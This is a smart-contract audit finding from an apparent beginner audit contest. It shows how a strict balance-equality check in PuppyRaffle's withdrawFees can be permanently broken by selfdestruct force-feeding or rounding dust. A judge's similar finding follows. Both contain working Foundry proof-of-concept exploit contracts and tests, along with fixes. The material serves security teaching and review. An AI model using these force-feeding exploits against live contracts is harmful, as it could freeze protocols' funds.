Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Strict `balance == totalFees` equality in `PuppyRaffle::withdrawFees` permanently locks fees via force-fed wei or natural rounding dust

furkanumut

Root + Impact

Description

Normally, a fee-withdrawal guard should check whether player funds are still custodied — not demand that the balance match an internal counter down to the last wei, since ETH can arrive in a contract without going through any function. However, the current implementation uses strict equality, so a single unexpected wei bricks fee withdrawal forever.

The vulnerability exists in PuppyRaffle.sol#L157-L163 (dust trigger at PuppyRaffle.sol#L132-L133).

Root Cause: Denial of service — strict-equality balance check vulnerable to force-feeding; aggravated by integer-division dust.

Vulnerable Code:

// File: src/PuppyRaffle.sol — Lines 157–163
​
function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); // BUG: broken by any force-fed wei or split dust
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Why This Is Exploitable:

ETH can be forced into any contract via selfdestruct(target) without triggering any code. One wei suffices to make address(this).balance permanently greater than totalFees — no function can remove a sub-entranceFee amount, and selectWinner only ever moves the balance and totalFees in lockstep, so the offset persists across rounds. Separately, the prize/fee split uses truncating division (* 80 / 100, * 20 / 100): with entranceFee = 3 wei and 4 players, prize = 9 wei and fee = 2 wei, leaving 1 wei of dust in the balance — the equality fails from the first round with zero attacker involvement.

Risk

Likelihood:

  • Path A (griefing): costs the attacker exactly 1 wei and one transaction; can be executed any time the equality currently holds.

  • Path B (dust): triggers on its own whenever the deployer chooses an entranceFee that makes players.length * entranceFee * 80 / 100 or * 20 / 100 non-exact.

Impact:

  • Permanent freezing of the protocol's accumulated fee revenue — the entire totalFees balance becomes unwithdrawable forever.

  • Griefing against the protocol/fee recipient; no direct profit path for the attacker.

Proof of Concept

/// @dev Force-feeds wei via selfdestruct, breaking balance == totalFees.
contract SelfDestructor {
function boom(address payable target) external payable {
selfdestruct(target);
}
}
​
// --- Path A: 1 wei force-feed bricks fee withdrawal forever ---
function testPoC_WithdrawFeesLockedByForceFeed() public {
_enterFourHonestPlayers();
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner(); // balance == totalFees == 0.8 ether now
​
SelfDestructor sd = new SelfDestructor();
vm.deal(address(sd), 1 wei);
sd.boom{value: 1 wei}(payable(address(puppyRaffle)));
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
console2.log("totalFees locked (wei):", uint256(puppyRaffle.totalFees()));
console2.log("stuck contract balance (wei):", address(puppyRaffle).balance);
}
​
// --- Path B: rounding dust from an odd entranceFee breaks it with no attacker ---
function testPoC_RoundingDustLocksFeesNaturally() public {
PuppyRaffle oddRaffle = new PuppyRaffle(3 wei, feeAddress, duration);
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
oddRaffle.enterRaffle{value: 12 wei}(players);
​
vm.warp(block.timestamp + duration + 1);
oddRaffle.selectWinner();
// total = 12, prize = 12*80/100 = 9, fee = 12*20/100 = 2 -> 1 wei dust left in balance
console2.log("recorded totalFees (wei):", uint256(oddRaffle.totalFees()));
console2.log("actual balance (wei):", address(oddRaffle).balance);
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
oddRaffle.withdrawFees();
}

Run: forge test --match-test "testPoC_WithdrawFeesLockedByForceFeed|testPoC_RoundingDustLocksFeesNaturally" -vv

Output (actual run):

[PASS] testPoC_WithdrawFeesLockedByForceFeed() (gas: 370183)
Logs:
totalFees locked (wei): 800000000000000000
stuck contract balance (wei): 800000000000000002
​
[PASS] testPoC_RoundingDustLocksFeesNaturally() (gas: 4780644)
Logs:
recorded totalFees (wei): 2
actual balance (wei): 3

  1. Four players enter (4 ETH pot), duration elapses, selectWinner runs. Balance == totalFees == 0.8 ETH.

  2. The attacker deploys a contract, funds it with 1 wei, and selfdestructs it into the raffle. Or (B): deploy the raffle with entranceFee = 3 wei and settle a 4-player round — 1 wei of dust remains.

  3. withdrawFees() reverts with "There are currently players active!" in both cases, and no state transition can ever restore equality.

Recommended Mitigation

Gate on whether any players are active rather than on exact balance equality, and accrue the split dust to the fee side so the two never diverge:

Proposed Fix:

// File: src/PuppyRaffle.sol
​
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
// in selectWinner():
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 fee = totalAmountCollected - prizePool; // dust accrues to fees

References:

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!